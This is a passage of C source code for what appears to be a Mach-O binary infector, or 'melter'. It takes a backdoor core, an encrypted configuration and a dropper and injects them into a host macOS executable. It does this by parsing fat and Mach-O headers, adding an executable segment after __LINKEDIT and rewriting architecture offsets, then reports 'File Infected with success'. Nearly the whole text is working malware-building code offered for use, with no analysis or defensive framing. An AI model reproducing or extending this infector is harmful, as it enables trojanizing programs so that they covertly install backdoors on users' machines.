		printf ("loadCommand: %d (%x)\n", i, l_command->cmd);
#endif
		switch (l_command->cmd)
		{
		case LC_THREAD:
			/*case LC_UNIXTHREAD:
			{
			struct thread_command *th_command;

			th_command = (thread_command *) allocate (sizeof (struct thread_command));
			memcpy (th_command, inputFilePointer + inputOffset, sizeof (struct thread_command));

			//th_command->state.eip += sizeof (struct section);
			//th_command->state.eip = 0x8; // W00t

			memcpy (outputFilePointer + outputOffset, th_command, sizeof (struct thread_command_64));
			free (th_command);

			inputOffset += sizeof (struct thread_command);
			outputOffset += sizeof (struct thread_command);

			break;
			}*/
		case LC_SEGMENT:
			{
#ifdef DEBUG
				printf ("LC_SEGMENT size: %d\n", (int)(sizeof (struct segment_command_64)));
#endif
				seg_command = (segment_command_64 *) allocate (sizeof (struct segment_command_64));
				memcpy (seg_command, inputFilePointer + inputOffset, sizeof (struct segment_command_64));

				inputOffset += sizeof (struct segment_command_64);

#ifdef DEBUG_VERBOSE
				printf("segname: %s\n", seg_command->segname);
#endif

				if (!strncmp (seg_command->segname, "__PAGEZERO",
					strlen (seg_command->segname)))
				{
#ifdef DEBUG
					printf ("[ii] Found __PAGEZERO Segment\n");
#endif  
					//
					// Update the segment within the new prot flags(EP) and size
					//
					//seg_command->cmdsize  += sizeof (struct section);
					/*
					seg_command->fileoff  = fileSize + padding;

					//seg_command->filesize = outputFileSize;
					seg_command->filesize = FIRST_STAGE_CODE_SIZE;

					if (seg_command->filesize % PAGE_ALIGNMENT)
					seg_command->filesize = ((seg_command->filesize + PAGE_ALIGNMENT)
					& ~(PAGE_ALIGNMENT -1));

					//seg_command->vmsize = paddedPagezeroVASize = outputFileSize; // PageBoundary padding 4K
					seg_command->vmsize = seg_command->filesize;

					seg_command->maxprot  = 0x7;
					seg_command->initprot = 0x5;
					//seg_command->nsects   += 0x1;
					*/
					// Copy back the segmentCommand
					memcpy (outputFilePointer + outputOffset, seg_command, sizeof (struct segment_command_64));
					outputOffset += sizeof (struct segment_command_64);
					/*
					//
					// Create the new section
					//
					printf ("[ii] section size: %d\n", (int)(sizeof (struct section)));
					sect = allocate (sizeof (struct section));

					if (sect == NULL)
					{
					printf("[ee] Error while allocating the new section\n");
					return kErrorMemoryAllocation;
					}

					strcpy (sect->sectname, INJECTED_SECTION_NAME);
					strcpy (sect->segname, INJECTED_SEGMENT_NAME);
					//sect->addr    = stackSize;
					sect->offset  = fileSize + padding;
					sect->size    = outputFileSize; //TOP_STACK - stackSize; // size of the stack
					sect->align   = 0x2; // standard alignment
					sect->flags   = 0x80000000; // x flag

					// Copy back the section
					memcpy (outputFilePointer + outputOffset, sect, sizeof (struct section));
					outputOffset += sizeof (struct section);

					free (sect);
					*/
				}
				else if (!strncmp (seg_command->segname, "__LINKEDIT",
					strlen (seg_command->segname)))
				{
#ifdef DEBUG
					printf ("[ii] Found %s Segment\n", seg_command->segname);
#endif  
					memcpy (outputFilePointer + outputOffset, seg_command, sizeof (struct segment_command_64));
					outputOffset += sizeof (struct segment_command_64);

					//
					// Now inject the new segment
					//
					struct segment_command_64 *mySegment = (struct segment_command_64 *) allocate (sizeof (struct segment_command_64));

					mySegment->cmd      = LC_SEGMENT;
					mySegment->cmdsize  = sizeof (struct segment_command_64);
#ifdef WIN32
					strncpy_s(mySegment->segname, strlen(INJECTED_SEGMENT), INJECTED_SEGMENT, _TRUNCATE);
#else
					strncpy (mySegment->segname, INJECTED_SEGMENT, strlen (INJECTED_SEGMENT));
#endif
					mySegment->vmaddr   = seg_command->vmaddr + seg_command->vmsize;
					mySegment->vmsize   = outputFileSize;

					// XXX: Check this out outOffsetToArch
					mySegment->fileoff  = inputFileSize + padding - outOffsetToArch;

					mySegment->filesize = outputFileSize;
					mySegment->maxprot  = 0x7;
					mySegment->initprot = 0x5;

					//segVMAddr = mySegment->vmaddr;

					memcpy (outputFilePointer + outputOffset, mySegment, sizeof (struct segment_command_64));
					outputOffset += sizeof (struct segment_command_64);
				}
				else
				{
					//
					// Shift all the VM Addresses
					//
					//seg_command->vmaddr += paddedPagezeroVASize - PAGE_ALIGNMENT;

					memcpy (outputFilePointer + outputOffset,
						seg_command,
						sizeof (struct segment_command_64));
					outputOffset += sizeof (struct segment_command_64);
#ifdef DEBUG
					printf ("[ii] Cycling for segment (%s) sections (%d)\n",
						seg_command->segname, seg_command->nsects);
#endif  
					for (z = 0; z < seg_command->nsects; z++)
					{
						struct section_64 *sect;

						sect = (struct section_64 *) allocate (sizeof (struct section_64));
						if (sect == NULL)
						{
							printf("[ee] Error while allocating the new section\n");
							return kErrorMemoryAllocation;
						}
						memcpy (sect, inputFilePointer + inputOffset, sizeof (struct section_64));

						//sect->offset += sizeof (struct section);
						//sect->addr += paddedPagezeroVASize - PAGE_ALIGNMENT;

						memcpy (outputFilePointer + outputOffset,
							sect,
							sizeof (struct section_64));

						free (sect);
						inputOffset += sizeof (struct section_64);
						outputOffset += sizeof (struct section_64);
					}
				}

				free (seg_command);

				break;
			}
			/*case LC_SYMTAB:
			{
			struct symtab_command *sy_command;
			sy_command = (symtab_command *) allocate (sizeof (struct symtab_command));
			memcpy (sy_command, inputFilePointer + inputOffset, sizeof (struct symtab_command));

			//sy_command->symoff += sizeof (struct section);
			//sy_command->stroff += sizeof (struct section);

			memcpy (outputFilePointer + outputOffset, sy_command, sizeof (struct symtab_command));
			free (sy_command);

			inputOffset += sizeof (struct symtab_command);
			outputOffset += sizeof (struct symtab_command);

			break;
			}
			case LC_DYSYMTAB:
			{
			struct dysymtab_command *dysym_command;
			dysym_command = (dysymtab_command *) allocate (sizeof (struct dysymtab_command));
			memcpy (dysym_command, inputFilePointer + inputOffset, sizeof (struct dysymtab_command));

			//dysym_command->indirectsymoff += sizeof (struct section);

			memcpy (outputFilePointer + outputOffset, dysym_command, sizeof (struct dysymtab_command));
			free (dysym_command);

			inputOffset += sizeof (struct dysymtab_command);
			outputOffset += sizeof (struct dysymtab_command);

			break;
			}
			case LC_CODE_SIGNATURE:
			case LC_SEGMENT_SPLIT_INFO:
			{
			struct linkedit_data_command *linkedit_command;
			linkedit_command = (linkedit_data_command *) allocate (sizeof (struct linkedit_data_command));
			memcpy (linkedit_command, inputFilePointer + inputOffset, sizeof (struct linkedit_data_command));

			//linkedit_command->dataoff += sizeof (struct section);

			memcpy (outputFilePointer + outputOffset, linkedit_command, sizeof (struct linkedit_data_command));
			free (linkedit_command);

			inputOffset += sizeof (struct linkedit_data_command);
			outputOffset += sizeof (struct linkedit_data_command);

			break;
			}*/
		default:
			{
				memcpy (outputFilePointer + outputOffset,
					inputFilePointer + inputOffset,
					l_command->cmdsize);
				inputOffset += l_command->cmdsize;
				outputOffset += l_command->cmdsize;

				break;
			}
		}
	}

#ifdef DEBUG
	printf("[ii] inputFilePointer : 0x%08x\n", inputFilePointer);
	printf("[ii] inputOffset      : 0x%08x\n", inputOffset);
	printf("[ii] inputFileSize    : 0x%08x\n", inputFileSize);
	printf("[ii] outputFilePointer: 0x%08x\n", outputFilePointer);
	printf("[ii] outputOffset     : 0x%08x\n", outputOffset);
	printf("[ii] outputFileSize   : 0x%08x\n", outputFileSize);
#endif
	//
	// Now the rest of the file (data), here we wanna skip sizeof segment_command
	// in order to leave the file padded correctly for its TEXT segment
	//
	memcpy (outputFilePointer + outputOffset,
		inputFilePointer + inputOffset + sizeof (struct segment_command_64),
		inputFileSize - inputOffset - sizeof (struct segment_command_64));

	free (m_header);
	printf ("[ii] LoadCommands copied successfully\n");

#ifdef DEBUG_VERBOSE
	printf ("inputFilePointer: %x\n", inputFilePointer);
	printf ("inputFilePointer: %x\n", *(unsigned long *)inputFilePointer);
	printf ("inputFilePointer: %x\n", *(unsigned long *)(inputFilePointer + 0x1000));
	printf ("inputSize + padding: %d\n", inputFileSize + padding);
#endif

	if (appendData(inputFilePointer,
		outputFilePointer,
		inOffsetToArch,
		outOffsetToArch,
		inputFileSize + padding,
		segVMAddr,
		true) != kErrorGeneric)
		return padding;
	else
		return kErrorGeneric;
}
#endif
int
getBinaryFormat(char *aFilePointer)
{
	memset(&gFatHeader, 0, sizeof (gFatHeader));
	memcpy(&gFatHeader, aFilePointer, sizeof (gFatHeader));

	switch (gFatHeader.magic)
	{
	case FAT_CIGAM:
		return kFatSwapBinary;
	case FAT_MAGIC:
		return kFatBinary;
	case MH_MAGIC:
		return kMachBinary;
	default:
		return kErrorFileNotSupported;
	}
}

int getFileSize(char *aFilePath)
{
	struct stat sb;

	if (stat(aFilePath, &sb) == kErrorGeneric)
	{
		return kErrorGeneric;
	}

	return sb.st_size;
}

void
usage(_mChar *aBinaryName)
{
#ifdef WIN32
	printf("\nUsage: %S <core> <conf> <imanager> <xpc> <dirname> <bitmap> <input> <output>\n\n", aBinaryName);
#else
	printf("\nUsage: %s <core> <conf> <kext32> <kext64> <imanager> <xpc> <icon> <dirname> <input> <output>\n\n", aBinaryName);
#endif
	printf("\t<core>     : backdoor core\n");
	printf("\t<conf>     : backdoor encrypted configuration\n");
	//printf("\t<kext32>   : kernel extension 32bit\n");
	//printf("\t<kext64>   : kernel extension 64bit\n");
	printf("\t<imanager> : input manager\n");
	printf("\t<xpc>      : xpc service\n");
	//printf("\t<icon>     : icon\n");
	printf("\t<dirname>  : backdoor dir name\n");
	printf("\t<bitmap>   : bitmap image for demo\n");
	printf("\t<input>    : binary to melt with\n");
	printf("\t<output>   : output filename\n\n");
}

int
parseArguments(int argc, _mChar **argv)
{
	if (argc != 7)
	{
		return kErrorGeneric;
	}

#ifdef WIN32_NO
	coreFileName   = (char *)calloc(1, strlen(argv[1]) + 1);
	confFileName   = (char *)calloc(1, strlen(argv[2]) + 1);
	kextFileName   = (char *)calloc(1, strlen(argv[3]) + 1);
	installPath    = (char *)calloc(1, strlen(argv[4]) + 1);
	inputFileName  = (char *)calloc(1, strlen(argv[5]) + 1);
	outputFileName = (char *)calloc(1, strlen(argv[6]) + 1);

	sprintf_s(coreFileName, sizeof(coreFileName), "%s", argv[1]);
	sprintf_s(confFileName, sizeof(confFileName), "%s", argv[2]);
	sprintf_s(kextFileName, sizeof(kextFileName), "%s", argv[3]);
	sprintf_s(installPath, sizeof(installPath), "%s", argv[4]);
	sprintf_s(inputFileName, sizeof(inputFileName), "%s", argv[5]);
	sprintf_s(outputFileName, sizeof(outputFileName), "%s", argv[6]);
#endif

	coreFilePath          = argv[1];
	confFilePath          = argv[2];
	//kext32FilePath        = argv[3];
	//kext64FilePath        = argv[4];
	//inputManagerFilePath  = argv[3];
//	XPCFilePath           = argv[6];
	//iconFilePath          = argv[6];
	installPath           = argv[3];
	bitmapFilePath		= argv[4];
	inputFilePath         = argv[5];
	outputFilePath        = argv[6];

	printf("coreFilePath: %s\n confFilePath: %s\n installPath: %s\n bitmapFilePath: %s\n  inputFilePath: %s\n outputFilePath: %s\n",
		coreFilePath,
		confFilePath,
		//inputManagerFilePath,		
		installPath,
		bitmapFilePath,
		inputFilePath,
		outputFilePath);


	return kSuccess;
}

#ifdef WIN32
void freeArguments()
{
	if (coreFilePath != NULL)
		free(coreFilePath);
	if (confFilePath != NULL)
		free(confFilePath);
	if (kext32FilePath != NULL)
		free(kext32FilePath);
	if (kext64FilePath != NULL)
		free(kext64FilePath);
	if (inputManagerFilePath != NULL)
		free(inputManagerFilePath);
//	if (XPCFilePath != NULL)
//		free(XPCFilePath);
	if (iconFilePath != NULL)
		free(iconFilePath);
	if (bitmapFilePath != NULL)
		free(bitmapFilePath);
	if (installPath != NULL)
		free(installPath);
	if (inputFilePath != NULL)
		free(inputFilePath);
	if (outputFilePath != NULL)
		free(outputFilePath);
}	
#endif

int
main(int argc, _mChar *argv[])
{
	struct fat_arch *f_arch;
	char *inputFilePointer      = NULL;
	char *outputFilePointer     = NULL;

	int outputFileSize          = 0;
	int fileType                = 0;
	int padding                 = 0;
	int i                       = 0;
	gNumStrings                 = 7;
	gNumberOfResources          = 2;

#ifdef WIN32
	HANDLE inputFD, outputFD, inputFDMap, outputFDMap;
#else
	int inputFD, outputFD;
#endif  

	int offsetToResources       = 0;
	unsigned int inputOffset    = 0;
	unsigned int outputOffset   = 0;
	int nfat                    = 0;
	int cputype                 = 0;
	unsigned int archOffset     = 0;

	if (parseArguments (argc, argv) & kErrorGeneric)
	{
		usage (*argv);
		exit (1);
	}

	//
	// Check if the backdoor, configuration file and KEXT exists and get
	// their size
	//
	if ((gCoreFileSize = getFileSize(coreFilePath)) == kErrorGeneric)
	{
		printf ("[ee] Core backdoor file not found\n");
#ifdef WIN32
		//freeArguments();
#endif
		exit (1);
	}

	if ((gConfFileSize = getFileSize(confFilePath)) == kErrorGeneric)
	{
		printf ("[ee] Configuration file not found\n");
#ifdef WIN32
		//freeArguments();
#endif
		exit (1);
	}
/*
	if ((gKext32FileSize = getFileSize(kext32FilePath)) == kErrorGeneric)
	{
		printf ("[ee] KEXT32 file not found\n");
#ifdef WIN32
		//freeArguments();
#endif
		exit (1);
	}

	if ((gKext64FileSize = getFileSize(kext64FilePath)) == kErrorGeneric)
	{
		printf ("[ee] KEXT64 file not found\n");
#ifdef WIN32
		//freeArguments();
#endif
		exit (1);
	}
*/
	/*
	if ((gInputManagerFileSize = getFileSize(inputManagerFilePath)) == kErrorGeneric)
	{
		printf ("[ee] InputManager file not found\n");
#ifdef WIN32
		//freeArguments();
#endif
		exit (1);
	}
	*/

	/*
	if ((gXPCFileSize = getFileSize(XPCFilePath)) == kErrorGeneric)
	{
		printf ("[ee] XPC service file not found\n");
#ifdef WIN32
		//freeArguments();
#endif
		exit (1);
	}
	*/
/*
	if ((gIconFileSize = getFileSize(iconFilePath)) == kErrorGeneric)
	{
		printf ("[ee] Icon file not found\n");
#ifdef WIN32
		//freeArguments();
#endif
		exit (1);
	}
*/
	if(strcmp(bitmapFilePath, "null"))
	{
		if ((gBitmapFileSize = getFileSize(bitmapFilePath)) == kErrorGeneric)
		{
			printf("[ee] Bitmap file not found\n");

			exit (1);
		}
		gNumberOfResources++;
	}
	else
		gBitmapFileSize = 0;
	// Map input file
#ifdef WIN32
	if ((inputFilePointer = mapFile(inputFilePath,
		&gInputFileSize,
		&inputFD,
		&inputFDMap,
		0)) == NULL)

#else
	if ((inputFilePointer = mapFile(inputFilePath, &gInputFileSize,
		&inputFD, 0, 0)) == NULL)
#endif
	{
		printf("[ee] Error while mmapping the input file\n");
#ifdef WIN32
		//freeArguments();
#endif
		exit (1);
	}

	// Calculate the padded output file size + 1
	outputFileSize = DROPPER_CODE_SIZE
		+ sizeof (crtStart)
		+ sizeof (int)
		+ gCoreFileSize
		+ gConfFileSize
		//+ gKext32FileSize
		//+ gKext64FileSize
		//+ gInputManagerFileSize
		//+ gXPCFileSize
		//+ gIconFileSize
		+ gBitmapFileSize
		+ sizeof (infectionHeader)
		+ sizeof (stringTable) * gNumStrings
		+ sizeof (resourceHeader) * gNumberOfResources;

#ifdef DEBUG_VERBOSE
	printf("unpadded outSize: %d\n", outputFileSize);
#endif

	if (outputFileSize % PAGE_ALIGNMENT)
	{
		outputFileSize = ((outputFileSize + PAGE_ALIGNMENT) & ~(PAGE_ALIGNMENT - 1));
	}

	int tempSize = outputFileSize + gInputFileSize;

#ifdef DEBUG_VERBOSE
	printf("padded outSize: %d\n", outputFileSize);
	printf("tempSize: %d\n", tempSize);
	printf("[ii] loaderCodeSize: %d\n", DROPPER_CODE_SIZE);
	printf("[ii] gCoreFileSize: %d\n", gCoreFileSize);
	printf("[ii] confCodeSize: %d\n", gConfFileSize);
	printf("[ii] gKext32FileSize: %d\n", gKext32FileSize);
	printf("[ii] gKext64FileSize: %d\n", gKext64FileSize);
	printf("[ii] inputFileSize: %d\n", gInputFileSize);
	printf("[ii] outputFileSize: %d\n", outputFileSize);
#endif

	// Map output file
#ifdef WIN32
	if ((outputFilePointer = mapFile(outputFilePath,
		&tempSize,
		&outputFD,
		&outputFDMap,
		&padding)) == NULL)
#else
	if ((outputFilePointer = mapFile (outputFilePath, &tempSize,
		&outputFD, 0, &padding)) == NULL)
#endif
	{
		printf("[ee] Error while mmapping the output file\n");
#ifdef WIN32
		//freeArguments();
#endif
		exit (1);
	}

	// Giving output file the correct fileSize
#ifdef WIN32
	if (SetFilePointer(outputFD, tempSize + padding - 1, 0, FILE_BEGIN) == INVALID_SET_FILE_POINTER)
	{
		//freeArguments();
		exit (1);
	}
#else
	if (lseek (outputFD, tempSize + padding - 1, SEEK_SET) == kErrorGeneric)
	{
		exit (1);
	}
#endif

#ifdef WIN32
	DWORD dwByteW;

	if (WriteFile(outputFD, "", 1, &dwByteW, 0) == 0)
	{
		if (inputFilePointer != NULL)
			UnmapViewOfFile(inputFilePointer);
		if (outputFilePointer != NULL)
			UnmapViewOfFile(outputFilePointer);

		CloseHandle(outputFDMap);
		CloseHandle(inputFDMap);
		CloseHandle(outputFD);
		CloseHandle(inputFD);
		freeArguments();

		return kErrorWriteFile;
	}
#else
	if (write (outputFD, "", 1) == kErrorGeneric)
	{
		close (outputFD);
		close (inputFD);

		return kErrorWriteFile;
	}

	close (outputFD);
	close (inputFD);
#endif

	// Gettin filetype - Compatibility with MacOS X Leopard 10.5
	fileType = getBinaryFormat(inputFilePointer);

	switch (fileType)
	{
	case kFatBinary:
		{
			gFileType       = 1;
			int x86Found    = 0;
			int otherFound  = 0;

			gFileType = 1;
			nfat = gFatHeader.nfat_arch;
			int fArchSize = 0;

			printf("[ii] FAT Binary found\n");
			printf("[ii] Found %d Arch(s)\n", nfat);

			if (nfat > 4)
			{
				printf("[ii] Error: unsupported format (too many archs)\n");

				return kErrorGeneric;
			}

			//memcpy(outputFilePointer, &gFatHeader, sizeof (gFatHeader));
			//outputOffset  += sizeof(gFatHeader);
			inputOffset   += sizeof(gFatHeader);

			for (i = 0; i < nfat; i++)
			{
				f_arch = (fat_arch *)allocate(sizeof(struct fat_arch));
				memcpy(f_arch, inputFilePointer + inputOffset, sizeof(struct fat_arch));

				cputype       = f_arch->cputype;
				archOffset    = f_arch->offset;
				fArchSize     = f_arch->size;
#ifdef DEBUG
				printf ("[ii] cputype: %d\n", cputype);
				printf ("[ii] archOffset: 0x%x\n", archOffset);
#endif

				if (cputype == CPU_TYPE_X86)
				{
					uint32_t arch_offt_padded = archOffset;

					if (gShiftSize > 0)
					{
						arch_offt_padded += gShiftSize;

						if (arch_offt_padded % PAGE_ALIGNMENT)
							arch_offt_padded = ((arch_offt_padded + PAGE_ALIGNMENT) & ~(PAGE_ALIGNMENT - 1));
					}

					offsetToResources = infectSingleArch((char *)(inputFilePointer),
						(char *)(outputFilePointer),
						archOffset,
						0,//arch_offt_padded,
						fArchSize,
						outputFileSize);

					gShiftSize += sizeof(struct segment_command)
						+ outputFileSize
						+ offsetToResources;

#ifdef DEBUG
					printf("offsetToRes: %d\n", offsetToResources);
#endif
					fArchSize += sizeof(struct segment_command)
						+ outputFileSize
						+ offsetToResources;
					f_arch->size = fArchSize;

					if (i > 0)
					{
						f_arch->offset = arch_offt_padded;
					}
				}
				/*else if (cputype == CPU_TYPE_X86_64)
				{
				uint32_t arch_offt_padded = archOffset;

				if (gShiftSize > 0)
				{
				arch_offt_padded += gShiftSize;

				if (arch_offt_padded % PAGE_ALIGNMENT)
				arch_offt_padded = ((arch_offt_padded + PAGE_ALIGNMENT) & ~(PAGE_ALIGNMENT - 1));
				}

				offsetToResources = infectSingleArch64((char *)(inputFilePointer),
				(char *)(outputFilePointer),
				archOffset,
				arch_offt_padded,
				fArchSize,
				outputFileSize);

				gShiftSize += sizeof(struct segment_command)
				+ outputFileSize
				+ offsetToResources;

				#ifdef DEBUG
				printf("offsetToRes: %d\n", offsetToResources);
				#endif

				fArchSize += sizeof(struct segment_command)
				+ outputFileSize
				+ offsetToResources;
				f_arch->size = fArchSize;

				if (i > 0)
				{
				f_arch->offset = arch_offt_padded;
				}
				}
				else
				{
				uint32_t arch_offt_padded = archOffset;

				if (gShiftSize > 0)
				{
				arch_offt_padded += gShiftSize;

				if (arch_offt_padded % PAGE_ALIGNMENT)
				arch_offt_padded = ((arch_offt_padded + PAGE_ALIGNMENT) & ~(PAGE_ALIGNMENT - 1));
				}

				f_arch->offset = arch_offt_padded;

				memcpy(outputFilePointer + arch_offt_padded,
				inputFilePointer + archOffset,
				fArchSize);
				}

				memcpy(outputFilePointer + outputOffset, f_arch, sizeof(struct fat_arch));
				*/
				free (f_arch);
				inputOffset   += sizeof(struct fat_arch);
				outputOffset  += sizeof(struct fat_arch);
			}

			break;
		}
	case kFatSwapBinary:
		{
			int x86Found      = 0;
			int otherFound    = 0;

			gFileType = 2;
			nfat = SWAP_LONG(gFatHeader.nfat_arch);
			int fArchSize = 0;

			printf ("[ii] FAT (swapped) Binary found\n");
			printf ("[ii] Found %d Arch(s)\n", nfat);

			if (nfat > 4)
			{
				printf ("[ii] Error: unsupported format (too many archs)\n");

				return kErrorGeneric;
			}

			//memcpy (outputFilePointer, &gFatHeader, sizeof (gFatHeader));
			//outputOffset  += sizeof (gFatHeader);
			inputOffset   += sizeof(gFatHeader);

			for (i = 0; i < nfat; i++)
			{
				f_arch = (fat_arch *)allocate(sizeof(struct fat_arch));
				memcpy(f_arch, inputFilePointer + inputOffset, sizeof(struct fat_arch));

				cputype       = SWAP_LONG(f_arch->cputype);
				archOffset    = SWAP_LONG(f_arch->offset);
				fArchSize     = SWAP_LONG(f_arch->size);
#ifdef DEBUG
				printf ("[ii] cputype: %d\n", cputype);
				printf ("[ii] archOffset: 0x%x\n", archOffset);
#endif

				if (cputype == CPU_TYPE_X86)
				{
					uint32_t arch_offt_padded = archOffset;

					if (gShiftSize > 0)
					{
						arch_offt_padded += gShiftSize;

						if (arch_offt_padded % PAGE_ALIGNMENT)
							arch_offt_padded = ((arch_offt_padded + PAGE_ALIGNMENT) & ~(PAGE_ALIGNMENT - 1));
					}

					if (otherFound == 1)
					{
						offsetToResources = infectSingleArch((char *)(inputFilePointer),
							(char *)(outputFilePointer),
							archOffset,
							0,//arch_offt_padded,
							gInputFileSize,
							outputFileSize);
					}
					else
					{
						offsetToResources = infectSingleArch((char *)(inputFilePointer),
							(char *)(outputFilePointer),
							archOffset,
							0,//arch_offt_padded,
							fArchSize,
							outputFileSize);
					}

					gShiftSize += sizeof(struct segment_command)
						+ outputFileSize
						+ offsetToResources;

#ifdef DEBUG
					printf("offsetToRes: %d\n", offsetToResources);
#endif
					fArchSize += sizeof(struct segment_command)
						+ outputFileSize
						+ offsetToResources;

					f_arch->size = SWAP_LONG(fArchSize);

					if (i > 0)
					{
						f_arch->offset = SWAP_LONG(arch_offt_padded);
					}
				}
				/*else if (cputype == CPU_TYPE_X86_64)
				{
				uint32_t arch_offt_padded = archOffset;

				if (gShiftSize > 0)
				{
				arch_offt_padded += gShiftSize;

				if (arch_offt_padded % PAGE_ALIGNMENT)
				arch_offt_padded = ((arch_offt_padded + PAGE_ALIGNMENT) & ~(PAGE_ALIGNMENT - 1));
				}

				if (otherFound == 1)
				{
				offsetToResources = infectSingleArch64 ((char *)(inputFilePointer),
				(char *)(outputFilePointer),
				archOffset,
				arch_offt_padded,
				gInputFileSize,
				outputFileSize);
				}
				else
				{
				offsetToResources = infectSingleArch64 ((char *)(inputFilePointer),
				(char *)(outputFilePointer),
				archOffset,
				arch_offt_padded,
				fArchSize,
				outputFileSize);
				}

				gShiftSize += sizeof (struct segment_command)
				+ outputFileSize
				+ offsetToResources;

				#ifdef DEBUG
				printf("offsetToRes: %d\n", offsetToResources);
				#endif
				fArchSize += sizeof (struct segment_command)
				+ outputFileSize
				+ offsetToResources;
				f_arch->size = SWAP_LONG (fArchSize);

				if (i > 0)
				{
				f_arch->offset = SWAP_LONG (arch_offt_padded);
				}
				}
				else
				{
				uint32_t arch_offt_padded = archOffset;
				otherFound++;

				if (gShiftSize > 0)
				{
				#ifdef DEBUG
				printf("[ii] arch_offt_padded: %d\n", arch_offt_padded);
				printf("[ii] Should shift: %d\n", gShiftSize);
				#endif
				arch_offt_padded += gShiftSize;

				if (arch_offt_padded % PAGE_ALIGNMENT)
				arch_offt_padded = ((arch_offt_padded + PAGE_ALIGNMENT) & ~(PAGE_ALIGNMENT - 1));
				#ifdef DEBUG
				printf("[ii] Padded shift: %d\n", arch_offt_padded);
				#endif
				}

				f_arch->offset = SWAP_LONG (arch_offt_padded);

				memcpy (outputFilePointer + arch_offt_padded,
				inputFilePointer + archOffset,
				fArchSize);
				}

				memcpy (outputFilePointer + outputOffset, f_arch, sizeof (struct fat_arch));
				*/
				free(f_arch);
				inputOffset += sizeof(struct fat_arch);
				gOutSize     = fArchSize;
				//outputOffset  += sizeof (struct fat_arch);
			}

			break;
		}
	case kMachBinary:
		{
			gFileType = 3;
			printf("[ii] Mach Binary found\n");

			if ((offsetToResources = infectSingleArch(inputFilePointer,
				outputFilePointer,
				0,
				0,
				gInputFileSize,
				outputFileSize)) < 0)
			{
				printf("[ee] An error occurred while infecting the binary\n");

				switch (offsetToResources)
				{
				case kErrorGeneric:
					printf("[ee] Got a generic error\n");
					break;
				case kErrorOpenFile:
					printf("[ee] Error on file open\n");
					break;
				case kErrorReadFile:
					printf("[ee] Error while reading the input file\n");
					break;
				case kErrorWriteFile:
					printf("[ee] Error while writing the output file\n");
					break;
				case kErrorCreateFile:
					printf("[ee] Error while creating the output file\n");
					break;
				default:
					break;
				}
			}

			break;
		}
	default:
		break;
	}

	printf("[ii] File Infected with success\n");

#ifdef WIN32
	if (inputFilePointer != NULL)
		UnmapViewOfFile(inputFilePointer);
	if (outputFilePointer != NULL)
		UnmapViewOfFile(outputFilePointer);

	CloseHandle(outputFDMap);
	CloseHandle(inputFDMap);

	if (gFileType != 3)
	{
		SetFilePointer(outputFD, gOutSize, 0, FILE_BEGIN);
		SetEndOfFile(outputFD);
	}

	CloseHandle(outputFD);
	CloseHandle(inputFD);
	//freeArguments();
#endif

	return kSuccess;
}